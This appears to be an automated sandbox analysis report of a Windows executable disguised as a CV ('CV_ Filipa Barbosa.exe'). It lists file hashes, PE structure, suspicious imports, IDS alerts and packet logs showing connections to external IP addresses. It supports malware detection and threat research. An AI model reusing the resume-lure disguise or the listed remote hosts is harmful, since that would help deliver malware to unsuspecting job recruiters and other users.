                                                                        Preview:t..NSTU1R1JQ..PK.9HHNPTUqV1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V.JQLIO.E9.A.q.T}...9%4p;9V/:/=t6P8_%%l%5k9L&h'>t.~..'>("~FF3lHNPTU1VHKX.z0,..(/.m42.L..v'7.Q..r03.+.m, .."Z u.7.U1V1JQLG..K9.IOP.-..1JQLGPKK.HJO[U^1VcNQLGPKK9HHnDTU1F1JQ<CPKKyHH^PTU3V1LQLGPKK9NHNPTU1V1:ULGRKK9HHNRT..V1ZQLWPKK9XHN@TU1V1JALGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU."T2%LGP..=HH^PTUcR1JALGPKK9HHNPTU1V.JQ,GPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLG

                                                                        Static File Info

                                                                        General

                                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                        Entropy (8bit):7.1538205193716
                                                                        TrID:
                                                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                                        • DOS Executable Generic (2002/1) 0.02%
                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                        File name:CV_ Filipa Barbosa.exe
                                                                        File size:1'218'048 bytes
                                                                        MD5:cb2183c47080cd31aee0ecf9e8c9a364
                                                                        SHA1:3cc58159a0dd1094dbc9f73e80a29569a37ebcf6
                                                                        SHA256:5151126607860671560215bff8a75394eacea89bcaa5a21d2ac918a12ef9792d
                                                                        SHA512:2d2bf4e7eaf7f0bcda43ece13aeffc50e52e69f881847f32c26c90f55e372887360af8c040ab5c0e1dc8c4560ce2eb69adde25f6442e2960527e92eb88bb8268
                                                                        SSDEEP:24576:Dtb20pkaCqT5TBWgNQ7aTU0c/mZdvxcj5WQzTNX6A:AVg5tQ7aTLYx5p5
                                                                        TLSH:3E45D01373DD8365C3B25273BA257701AEBF782506A1F96B2F98093DF920162521EB73
                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

                                                                        File Icon

                                                                        Icon Hash:aaf3e3e3938382a0

                                                                        Static PE Info

                                                                        General

                                                                        Entrypoint:0x425f74
                                                                        Entrypoint Section:.text
                                                                        Digitally signed:false
                                                                        Imagebase:0x400000
                                                                        Subsystem:windows gui
                                                                        Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                        DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                                        Time Stamp:0x67447293 [Mon Nov 25 12:50:27 2024 UTC]
                                                                        TLS Callbacks:
                                                                        CLR (.Net) Version:
                                                                        OS Version Major:5
                                                                        OS Version Minor:1
                                                                        File Version Major:5
                                                                        File Version Minor:1
                                                                        Subsystem Version Major:5
                                                                        Subsystem Version Minor:1
                                                                        Import Hash:3d95adbf13bbe79dc24dccb401c12091

                                                                        Entrypoint Preview

                                                                        Instruction
                                                                        call 00007F946CD9434Fh
                                                                        jmp 00007F946CD87364h
                                                                        int3
                                                                        int3
                                                                        push edi
                                                                        push esi
                                                                        mov esi, dword ptr [esp+10h]
                                                                        mov ecx, dword ptr [esp+14h]
                                                                        mov edi, dword ptr [esp+0Ch]
                                                                        mov eax, ecx
                                                                        mov edx, ecx
                                                                        add eax, esi
                                                                        cmp edi, esi
                                                                        jbe 00007F946CD874EAh
                                                                        cmp edi, eax
                                                                        jc 00007F946CD8784Eh
                                                                        bt dword ptr [004C0158h], 01h
                                                                        jnc 00007F946CD874E9h
                                                                        rep movsb
                                                                        jmp 00007F946CD877FCh
                                                                        cmp ecx, 00000080h
                                                                        jc 00007F946CD876B4h
                                                                        mov eax, edi
                                                                        xor eax, esi
                                                                        test eax, 0000000Fh
                                                                        jne 00007F946CD874F0h
                                                                        bt dword ptr [004BA370h], 01h
                                                                        jc 00007F946CD879C0h
                                                                        bt dword ptr [004C0158h], 00000000h
                                                                        jnc 00007F946CD8768Dh
                                                                        test edi, 00000003h
                                                                        jne 00007F946CD8769Eh
                                                                        test esi, 00000003h
                                                                        jne 00007F946CD8767Dh
                                                                        bt edi, 02h
                                                                        jnc 00007F946CD874EFh
                                                                        mov eax, dword ptr [esi]
                                                                        sub ecx, 04h
                                                                        lea esi, dword ptr [esi+04h]
                                                                        mov dword ptr [edi], eax
                                                                        lea edi, dword ptr [edi+04h]
                                                                        bt edi, 03h
                                                                        jnc 00007F946CD874F3h
                                                                        movq xmm1, qword ptr [esi]
                                                                        sub ecx, 08h
                                                                        lea esi, dword ptr [esi+08h]
                                                                        movq qword ptr [edi], xmm1
                                                                        lea edi, dword ptr [edi+08h]
                                                                        test esi, 00000007h
                                                                        je 00007F946CD87545h
                                                                        bt esi, 03h
                                                                        jnc 00007F946CD87598h
                                                                        movdqa xmm1, dqword ptr [esi+00h]

                                                                        Rich Headers

                                                                        Programming Language:
                                                                        • [ C ] VS2008 SP1 build 30729
                                                                        • [IMP] VS2008 SP1 build 30729
                                                                        • [ASM] VS2012 UPD4 build 61030
                                                                        • [RES] VS2012 UPD4 build 61030
                                                                        • [LNK] VS2012 UPD4 build 61030

                                                                        Data Directories

                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0xb70040x17c.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0xc40000x605f0.rsrc
                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x1250000x6c4c.reloc
                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x8d8d00x1c.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xb27300x40.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x8d0000x860.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                        Sections

                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                        .text0x10000x8b54f0x8b600f437a6545e938612764dbb0a314376fcFalse0.5699499019058296data6.680413749210956IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                        .rdata0x8d0000x2cc420x2ce00827ffd24759e8e420890ecf164be989eFalse0.330464397632312data5.770192333189168IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                        .data0xba0000x9d540x6200e0a519f8e3a35fae0d9c2cfd5a4bacfcFalse0.16402264030612246data2.002691099965349IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                        .rsrc0xc40000x605f00x60600983091f1886ce8167e90629f462dde1cFalse0.934254924610895data7.908240230124889IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                        .reloc0x1250000xa4740xa6000bc98f8631ef0bde830a7f83bb06ff08False0.5017884036144579data5.245426654116355IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                        Resources

                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                        RT_ICON0xc44a00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                        RT_ICON0xc45c80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                                                        RT_ICON0xc48b00x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                                                        RT_ICON0xc49d80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                                                        RT_ICON0xc58800x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                                                        RT_ICON0xc61280x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                                                        RT_ICON0xc66900x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                                                        RT_ICON0xc8c380x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                                                        RT_ICON0xc9ce00x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                                                        RT_STRING0xca1480x594dataEnglishGreat Britain0.3333333333333333
                                                                        RT_STRING0xca6dc0x68adataEnglishGreat Britain0.2747909199522103
                                                                        RT_STRING0xcad680x490dataEnglishGreat Britain0.3715753424657534
                                                                        RT_STRING0xcb1f80x5fcdataEnglishGreat Britain0.3087467362924282
                                                                        RT_STRING0xcb7f40x65cdataEnglishGreat Britain0.34336609336609336
                                                                        RT_STRING0xcbe500x466dataEnglishGreat Britain0.3605683836589698
                                                                        RT_STRING0xcc2b80x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                                        RT_RCDATA0xcc4100x57cc5data1.0003225618081257
                                                                        RT_GROUP_ICON0x1240d80x76dataEnglishGreat Britain0.6610169491525424
                                                                        RT_GROUP_ICON0x1241500x14dataEnglishGreat Britain1.15
                                                                        RT_VERSION0x1241640xdcdataEnglishGreat Britain0.6181818181818182
                                                                        RT_MANIFEST0x1242400x3b0ASCII text, with CRLF line terminatorsEnglishGreat Britain0.5116525423728814

                                                                        Imports

                                                                        DLLImport
                                                                        WSOCK32.dll__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
                                                                        VERSION.dllGetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
                                                                        WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                        COMCTL32.dllImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
                                                                        MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                                                        WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
                                                                        PSAPI.DLLGetProcessMemoryInfo
                                                                        IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                                                        USERENV.dllUnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
                                                                        UxTheme.dllIsThemeActive
                                                                        KERNEL32.dllHeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
                                                                        USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
                                                                        GDI32.dllSetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
                                                                        COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                        ADVAPI32.dllGetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
                                                                        SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                        ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
                                                                        OLEAUT32.dllRegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

                                                                        Possible Origin

                                                                        Language of compilation systemCountry where language is spokenMap
                                                                        EnglishGreat Britain

                                                                        Network Behavior

                                                                        Suricata IDS Alerts

                                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                        2024-11-27T20:48:18.816936+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.84974413.107.246.63443TCP
                                                                        2024-11-27T20:48:18.939754+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.84974313.107.246.63443TCP
                                                                        2024-11-27T20:48:19.081986+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.84974113.107.246.63443TCP
                                                                        2024-11-27T20:48:19.082445+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.84974513.107.246.63443TCP
                                                                        2024-11-27T20:48:19.083377+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.84974213.107.246.63443TCP

                                                                        Network Port Distribution

                                                                        TCP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Nov 27, 2024 20:47:17.948685884 CET4971080192.168.2.843.205.198.29
                                                                        Nov 27, 2024 20:47:18.068795919 CET804971043.205.198.29192.168.2.8
                                                                        Nov 27, 2024 20:47:18.068939924 CET4971080192.168.2.843.205.198.29
                                                                        Nov 27, 2024 20:47:18.078599930 CET4971080192.168.2.843.205.198.29
                                                                        Nov 27, 2024 20:47:18.212161064 CET804971043.205.198.29192.168.2.8
                                                                        Nov 27, 2024 20:47:19.574127913 CET804971043.205.198.29192.168.2.8
                                                                        Nov 27, 2024 20:47:19.574215889 CET804971043.205.198.29192.168.2.8
                                                                        Nov 27, 2024 20:47:19.574466944 CET4971080192.168.2.843.205.198.29
                                                                        Nov 27, 2024 20:47:19.577717066 CET4971080192.168.2.843.205.198.29
                                                                        Nov 27, 2024 20:47:19.891081095 CET4971080192.168.2.843.205.198.29
                                                                        Nov 27, 2024 20:47:19.898375988 CET804971043.205.198.29192.168.2.8
                                                                        Nov 27, 2024 20:47:19.898638964 CET4971080192.168.2.843.205.198.29
                                                                        Nov 27, 2024 20:47:20.196748018 CET804971043.205.198.29192.168.2.8
                                                                        Nov 27, 2024 20:47:20.564121962 CET804971043.205.198.29192.168.2.8
                                                                        Nov 27, 2024 20:47:20.564239025 CET4971080192.168.2.843.205.198.29
                                                                        Nov 27, 2024 20:47:40.647533894 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:41.637109041 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:43.133229017 CET804971245.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:43.133346081 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:43.148758888 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:43.865650892 CET804971245.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:43.865756035 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:44.652872086 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:44.890537977 CET804971245.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:44.890598059 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:45.671530962 CET4971480192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:46.103487968 CET804971245.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:46.668363094 CET4971480192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:46.978807926 CET804971245.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:46.978889942 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:46.978992939 CET804971245.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:46.979038000 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:47.994541883 CET804971245.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:47.994601965 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:48.047278881 CET804971245.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:48.047357082 CET4971280192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:48.684036016 CET4971480192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:49.523696899 CET804971445.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:49.523874044 CET4971480192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:49.538825989 CET4971480192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:50.042042017 CET804971445.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:50.042146921 CET4971480192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:50.045501947 CET804971445.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:51.043448925 CET4971480192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:51.218713999 CET804971445.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:51.960797071 CET804971445.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:51.960866928 CET4971480192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:52.062097073 CET4972080192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:52.182207108 CET804972045.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:52.182374954 CET4972080192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:52.196887970 CET4972080192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:52.361789942 CET804972045.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:52.362057924 CET804972045.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:53.557121038 CET804972045.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:53.557244062 CET804972045.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:53.557307959 CET4972080192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:53.699780941 CET4972080192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:54.718604088 CET4972680192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:54.839756966 CET804972645.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:54.839935064 CET4972680192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:54.854028940 CET4972680192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:54.974092960 CET804972645.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:56.917898893 CET804972645.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:56.917927980 CET804972645.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:47:56.918083906 CET4972680192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:56.920905113 CET4972680192.168.2.845.141.156.114
                                                                        Nov 27, 2024 20:47:57.041641951 CET804972645.141.156.114192.168.2.8
                                                                        Nov 27, 2024 20:48:03.011905909 CET4973780192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:03.306133986 CET8049737154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:03.306252956 CET4973780192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:03.347305059 CET4973780192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:03.744338036 CET8049737154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:04.856050968 CET4973780192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:05.196571112 CET8049737154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:05.196666956 CET8049737154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:05.196753979 CET4973780192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:05.196795940 CET4973780192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:05.601082087 CET8049737154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:05.603339911 CET4973780192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:06.198429108 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:07.199804068 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:07.318810940 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:07.318984032 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:07.333309889 CET4973980192.168.2.8154.23.184.194
